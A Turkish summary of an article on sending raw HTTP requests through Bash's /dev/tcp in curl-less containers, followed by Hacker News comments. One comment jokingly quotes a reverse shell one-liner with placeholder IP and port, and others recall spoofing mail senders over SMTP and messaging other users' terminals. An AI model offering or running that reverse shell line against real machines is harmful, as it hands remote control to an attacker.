- Minimal konteyner imajlarında curl veya wget çoğu zaman bulunmaz; bu yüzden paket kurmadan iç servis bağlantısını doğrulamak için alternatif bir yöntem faydalıdır
- Bash içindeki
/dev/tcp/host/port yönlendirmesi bir TCP soketi açabildiğinden, HTTP/1.1 istek metnini doğrudan yazıp göndererek yanıt okunabilir
/dev/tcp, dosya sistemi yolu değil Bash’in dahili bir özelliği olduğundan ls /dev/tcp ya da başka kabuklardaki normal dosya erişim yöntemiyle çalışmaz
- Bu yöntem; yönlendirmeler, chunked yanıtlar, sıkıştırma, yeniden deneme ve TLS’yi ele almayan basit bir hata ayıklama tekniğidir ve
Connection: close olmadan cat beklemede kalabilir
- Günlük HTTP işleri için doğru araç curl’dür; ancak araç eklemenin zor olduğu küçük konteynerlerde hızlı bağlantı kontrolü için yeterlidir
Bash dosya tanımlayıcısıyla HTTP isteği yazmak
- Dahili Docker ağı içinde başka bir servisin
/health endpoint’ine erişilebildiğini doğrulamak gerekiyordu, ancak imajda curl veya wget yoktu
- Bash, TCP soketlerini dosya tanımlayıcısına bağlayabildiği için HTTP isteğini aşağıdaki gibi doğrudan yazıp göndermek mümkündür
exec 3<>/dev/tcp/service/8642
printf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3
cat <&3
service, komutun çalıştığı yerden çözümlenebilen ve erişilebilir bir ana makine adı olmalıdır
- Docker ağında tanımlı bir konteyner veya servis adı olabilir
- Çözümlenebilir bir DNS adı da kullanılabilir
- Ana makine ve port ortama göre değiştirilmelidir
- Yanıt çıktısı durum satırını, başlıkları, boş satırı ve gövdeyi birlikte içerir
- Başlık eklemek için isteği bitiren boş satırdan önce
\r\n ile biten satırlar eklemek yeterlidir
exec 3<>/dev/tcp/service/8642
printf 'GET /v1/models HTTP/1.1\r\nHost: service\r\nAuthorization: Bearer %s\r\nConnection: close\r\n\r\n' "$API_KEY" >&3
cat <&3
/dev/tcp neden gerçek bir dosya değil
/dev/tcp, gerçek bir aygıt dosyası değil, Bash’in işlediği bir yönlendirmedir
- Diskte böyle bir yol bulunmadığı için
ls /dev/tcp başarısız olur
- Başka bir kabukta
cat /dev/tcp/... çalıştırmak da hata verir
- Bash manual’a göre
/dev/tcp/host/port içinde host geçerli bir ana makine adı veya internet adresi, port ise tamsayı bir port numarası ya da servis adıysa Bash bir TCP soketi açmayı dener
- Bash, DNS sorgusunu ve
connect(2) çağrısını yapar; exec 3<> ise soketi dosya tanımlayıcısı 3e bağlayarak okuma ve yazmayı mümkün kılar
HTTP istemcisinin yerine geçen bir araç değil, geçici bir kontrol aracı
- Bu yaklaşım gerçek bir HTTP istemcisi olmadığı için yönlendirmeleri, chunked yanıtları, sıkıştırmayı, yeniden denemeleri, TLS’yi vb. işlemez
Connection: close başlığı önemlidir
- Olmadığında sunucu HTTP/1.1 varsayılanına göre bağlantıyı açık tutabilir
- Bu durumda
cat <&3, EOF beklediği için sonlanmayabilir
timeout 6 bash -c '...' gibi bir sarmalayıcı kullanmak, bağlantının kapanmadığı durumlara karşı da koruma sağlayabilir
/dev/tcp ham soket açtığı için yalnızca düz HTTP için geçerlidir; https için openssl s_client gerekir
- POSIX özelliği değil, Bash özelliğidir; bu nedenle Debian’daki
/bin/sh olan dash veya zsh içinde kullanılamaz, bash doğrudan çağrılmalıdır
- Bash derlenirken
--enable-net-redirections ile etkinleştirilen bir derleme zamanı seçeneğidir
- Sonuç olarak bu, curl’ün yerini alacak genel amaçlı bir araçtan çok, ek paket kurulamayacak küçük konteynerlerde hızlı bağlantı doğrulaması için uygun bir yöntemdir
1 yorum
Hacker News görüşleri
90’ların sonunda çocukken
telnetile 80, 25, 110 portlarına bağlanıp sunucuyla doğrudan konuşulabildiğini öğrenince çok sarsılmıştımBasit bir
GET / HTTP/1.1isteğini elle yazabiliyor, 25 numaralı porttaHELO,mail-from,mail-toile e-posta gönderebiliyor, POP3 ile posta kutusu listesini ve tek tek iletileri çekebiliyordunuzBu deneyim, “sihir diye bir şey yok” farkındalığının başlangıcıydı; bilgisayarın her parçasının insanlar tarafından yapıldığını ve emek verirseniz belli bir seviyeye kadar anlaşılabileceğini gösterdi
Gelecekte bunların çoğunu ajanlara bırakacağız muhtemelen, ama model ve güvenlik katmanlarının filtreleri olmadan gerçek işleyişi öğrenmek isteyenler için çeşitli sistemlerde ilginç açıklıklar kalacak gibi görünüyor
jacques.chirac@elysee.frgibi bir adresten e-posta gönderip arkadaşlarınıza hacker gibi görünebiliyordunuzYapılandırılmış metin dosyaları oluşturmanın, göndermenin ve okumanın çeşitli yollarının üzerine bir sürü kısaltma eklenmiş bir yapıydı
Bir gün veritabanlarının bile aslında metin dosyası olduğunu fark edince kısa süreliğine oturup düşünmem gerekti
telnetile POP3 ve SMTP’ye bağlanırdıkTLS de
telnetile çalışmıyor ve birçok sunucu HTTP isteklerine sadece yönlendirme döndürüyortelnetyerineopenssl s_clientkullanırsanız TLS içinde metni tünelleyebilirsiniz ama biraz hile gibi hissettiriyorModern protokollerin çoğunun ikili kodlamayı tercih etmesi yüzünden, özel araçlar olmadan hat seviyesinde kurcalamanın zorlaşmış olması da üzücü
Yine de gelecekte de bunları kurcalayan insanlar olacaktır; çubukla ateş yakmak ya da kilden tuğla pişirmek gibi eski teknikler eğlencelidir ve bazen gerçekten işe yarar
Hatta AI sayesinde deney yapmak daha da kolaylaştı; RFC’leri didiklemek yerine LLM’ye sorarak örneğin yaygın IMAP komutlarının çoğunu öğrenebilirsiniz
zshiçinde, Bash’teki/dev/tcp’den ayrı olarakzsh/net/tcpvezsh/zftpmodülleri varhttps://zsh.sourceforge.io/Doc/Release/TCP-Function-System.h...
https://zsh.sourceforge.io/Doc/Release/Zsh-Modules.html#The-...
https://zsh.sourceforge.io/Doc/Release/Zftp-Function-System....
Plan 9’da gerçek bir sentetik dosya sistemi olan
/netvardı; bu sayede herhangi bir programdan bunları ve daha fazlasını yapabiliyordunuzHatta başka bir makinenin
/net’ini 9P protokolüyle mount edip anlık bir VPN gibi kullanabiliyordunuz; 9front ile Linux üzerinde de deneyebilirsinizGo kütüphanesinde de Plan 9 tarzı
/netizleri görünüyor; sanki Rob Pike’ın mirası gibiexample.comüzerinde gayet iyi çalışıyorexec 3<>/dev/tcp/example.com/80ile açıpprintf 'GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' >&3gönderdikten sonracat <&3dersenizHTTP/1.1 200 OKalırsınızBugünlerde HTTPS zorlamayan alan adı çok az olduğu için, böyle testlerde insanın yolu sonunda example.com’a düşüyor
example.comfaydalıTarayıcıda http://example.com adresine giderseniz captive portal sayfasına yeniden yönlendirilip internet erişim sürecini tekrar tamamlayabilirsiniz
printfiçine gerçek satır sonları koysanız da çalışıyor\rolması teknik olarak doğru ama olmasa da çalışıyorBir arkadaşın bilgisayarıyla konuşmak için herkesin
bash -i >& /dev/tcp/IP/PORT 0>&1kullandığına dair şaka yapılabilirBash'in yaptığı şey HTTP konuşmak değil, TCP soketi açabilmeyi sağlaması
Burada yapılan şey HTTP'yi doğrudan konuşmak; test ya da debug için idare eder ve elle denemesi eğlencelidir, ama gerçek insansız ortamlarda böyle sahte bir HTTP istemcisi kullanmak başınıza iş açar
Bu oyuncak kod HTTP'yi düzgün parse edemediği için bozulabilir
Elbette Bash ile tam teşekküllü bir HTTP/1.1 istemcisi yazmak da mümkündür, hatta saf Bash ile bir HTTP sunucusu da yapılabilir: https://github.com/bahamas10/bash-web-server
Daha az çılgın bir seçenek olarak genelde
ncvardır ve çoğu durumda daha mantıklı olan da budurBash, gelen bağlantıları kabul etmek için TCP/UDP soketlerini dinleyemez
bash-web-serverprojesi C ile yazılmış bir soket dinleyicisini derliyor ve çalışma zamanında bunu bir “yerleşik” modül olarak dinamik biçimde yükleyerek bu işlevi sağlıyor[0] https://github.com/bahamas10/bash-web-server/tree/main/loada...
ncya da benzeri netcat araçları daha iyi bir seçim olurdu ama o sırada kullandığım imajda böyle bir araç yoktuHTTP/1.1 ve zorunlu
Hostbaşlığı ortaya çıkmadan önce de insanlar HTTP isteklerini elle giriyorduCiddi kullanım için bunu yapmak delilik olur, Bash ile web sunucusu yazmak da öyle; ama hızlı testler için gayet iyidir
https://sdomi.pl/weblog/15-witchcraft-minecraft-server-in-ba...
Bauhinia ekibinin bir CTF sorusunu çözerken bunu kullandığını görüp öğrenmiştim
Bu, birkaç aşamadan oluşan bir CTF'ti; ilk aşamada ROP zinciriyle bir
systemshell elde ediyorsunuz ama ortam fiilen Bash dışında neredeyse hiçbir şey çalıştıramadığınız bir hapishane gibiydiKullanılabilen şeyler aşağı yukarı sadece
readvecatidi; bu yüzdencat /dev/tcpkullanıp bunu sanal terminale yönlendirdiler, ardından iç sistemi işaret eden URL'yi alıp flag'i bulmak için içeriğini okudularDahili Docker ağı içinde container'lar arası bağlantıyı kontrol ederken, imajda ne
curlne dewgetolduğu için bu yöntemi keşfettimŞaşırtıcı olan, Bash'te
/dev/tcpbulunması ve biraz shell büyüsüyle HTTP isteğine benzer bir şey üretilebilmesiydiÖrneğin
exec 3<>/dev/tcp/service/8642ile açıpprintf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3gönderdikten sonracat <&3yapabilirsinizBuradaki
service, bağlanılacak ana makine adıdır;8642ise HTTP konuşmayı denediğiniz portturAklıma gelen bir dezavantaj yok; hatta production imajlarında bile neredeyse şart sayarım
Eski Debian ve Debian türevi dağıtımlarda bu özellik çalışmıyordu; çünkü sanal dosya üzerinden TCP erişimi varsayılan olarak devre dışıydı
Bildiğim kadarıyla 2009'da bu konudaki tutum değişti ve özellik etkinleştirildi; tartışmalar ve bağlantılar Bug #146464 içinde yer alıyor
<https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464#37>
Shell araçlarıyla ağ işlevlerine doğrudan erişmenin başka yolları da var; örneğin
curl,wget, Perl'inHEADveGETkomutları,netcat/nc,socat,telnetvb.Gençlik yıllarımda başkalarının
/dev/pttyaygıtınaechoile ürkütücü mesajlar gönderip onları korkuttuğumu hatırlıyorumBenim gönderdiğim mesajlar karşı tarafın açık terminalinde sihirli şekilde belirirdi
Bilgisayar laboratuvarında neden her istemci için farklı hesaplar kullanıp onları kilitlemediklerini hâlâ bilmiyorum; belki de bu, o zamanın VAX sınırlamalarından kaynaklanıyordu